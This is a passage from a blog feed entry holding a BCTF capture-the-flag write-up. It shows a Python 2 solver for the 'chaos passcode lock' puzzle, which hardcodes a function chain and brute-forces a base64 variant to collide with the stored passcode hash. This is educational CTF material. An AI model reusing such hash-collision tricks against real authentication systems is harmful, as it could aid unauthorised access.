class="params">(a, b)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> a == b:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> int(a) == int(b):</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"Welcome to Secure Passcode System"</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"First, please choose function combination:"</span></span><br><span class="line">\<span class="comment">#                    in1=raw_input('f1: ')</span></span><br><span class="line">    f1=<span class="string">'fun'</span>+<span class="string">'3'</span></span><br><span class="line">\<span class="comment">#                    in2=raw_input('f2: ')</span></span><br><span class="line">    f2=<span class="string">'fun'</span>+<span class="string">'5'</span></span><br><span class="line">\<span class="comment">#                    in3=raw_input('f3: ')</span></span><br><span class="line">    f3=<span class="string">'fun'</span>+<span class="string">'1'</span></span><br><span class="line">\<span class="comment">#                    in4=raw_input('f4: ')</span></span><br><span class="line">    f4=<span class="string">'fun'</span>+<span class="string">'4'</span></span><br><span class="line">    <span class="keyword">print</span> f1, f2, f3, f4</span><br><span class="line">    <span class="keyword">if</span> f1 <span class="keyword">not</span> <span class="keyword">in</span> func\_names <span class="keyword">or</span> f2 <span class="keyword">not</span> <span class="keyword">in</span> func\_names <span class="keyword">or</span> f3 <span class="keyword">not</span> <span class="keyword">in</span> func\_names <span class="keyword">or</span> f4 <span class="keyword">not</span> <span class="keyword">in</span> func\_names:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'invalid function combination'</span></span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        answer_hash = f\[<span class="string">'fun6'</span>\](f\[<span class="string">'fun2'</span>\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](answer))))))</span><br><span class="line">\<span class="comment">#        print f\[f4\](answer)</span></span><br><span class="line">\<span class="comment">#        print f\[f3\](f\[f4\](answer))</span></span><br><span class="line">\<span class="comment">#        print repr(f\[f2\](f\[f3\](f\[f4\](answer))))</span></span><br><span class="line">        <span class="keyword">print</span> <span class="string">'original base64'</span>, f\[f1\](f\[f2\](f\[f3\](f\[f4\](answer))))</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'original decoded base64'</span>, repr(f\[<span class="string">'fun2'</span>\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](answer))))))</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'my base64 decoded'</span>, repr(base64.b64decode(<span class="string">'ztLU2s/rxOPU2s/rztLKssO0tcTTw7nIuOi3rdLrv8+2qNK7teOyu7rD08O7ucrHsfDTw8HLv7TV4r7ku7C+wL3hy8DE4771tcPE2'</span>+<span class="string">'B'</span>+<span class="string">'=='</span>))</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"Wrong function combination, you bad guy!"</span></span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> len(answer_hash) == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'You must be doing some little dirty trick! Stop it!'</span></span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> range(ord(<span class="string">'A'</span>), ord(<span class="string">'Q'</span>)):</span><br><span class="line">        usercode = str (hex2dec(reverse(binascii.hexlify(zlib.compress(<span class="string">'ztLU2s/rxOPU2s/rztLKssO0tcTTw7nIuOi3rdLrv8+2qNK7teOyu7rD08O7ucrHsfDTw8HLv7TV4r7ku7C+wL3hy8DE4771tcPE2'</span>+chr(c)+<span class="string">'=='</span>)))))</span><br><span class="line">        <span class="keyword">print</span> usercode</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">\<span class="comment">#            print f\[f4\](usercode)</span></span><br><span class="line">\<span class="comment">#            print f\[f3\](f\[f4\](usercode))</span></span><br><span class="line">\<span class="comment">#            print repr(f\[f2\](f\[f3\](f\[f4\](usercode))))</span></span><br><span class="line">\<span class="comment">#            print f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode))))</span></span><br><span class="line">\<span class="comment">#            print repr(f\['fun2'\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode))))))</span></span><br><span class="line">            user_hash = f\[<span class="string">'fun6'</span>\](f\[<span class="string">'fun2'</span>\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode))))))</span><br><span class="line">            <span class="keyword">if</span> user\_hash == answer\_hash:</span><br><span class="line">                <span class="keyword">if</span> check_equal(answer, usercode):</span><br><span class="line">                    <span class="keyword">print</span> <span class="string">"This passcode has been locked, please use the new onen"</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">print</span> <span class="string">"Welcome back! The door always open for you, your majesty! "</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">print</span> <span class="string">"Sorry, bad passcode.n"</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">print</span> <span class="string">"Sorry, bad passcode. Please try again."</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;BCTF结束了。。。有点可惜吧。。。那个窃密木马因为一个小错误到手的300分就这样没了。。。不然还能进前十的- -  &lt;/p&gt;
&lt;p&gt;题目 混沌密码锁: 100 描述&lt;/p&gt;
&lt;p&gt;据 传说，米特尼克进任何门都是不需要钥匙的，无论是金锁银锁还是密码锁。使用伪造身份在BAT安
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="bctf" scheme="https://blog.eadom.net/tags/bctf/"/>
    
  </entry>
  
</feed>
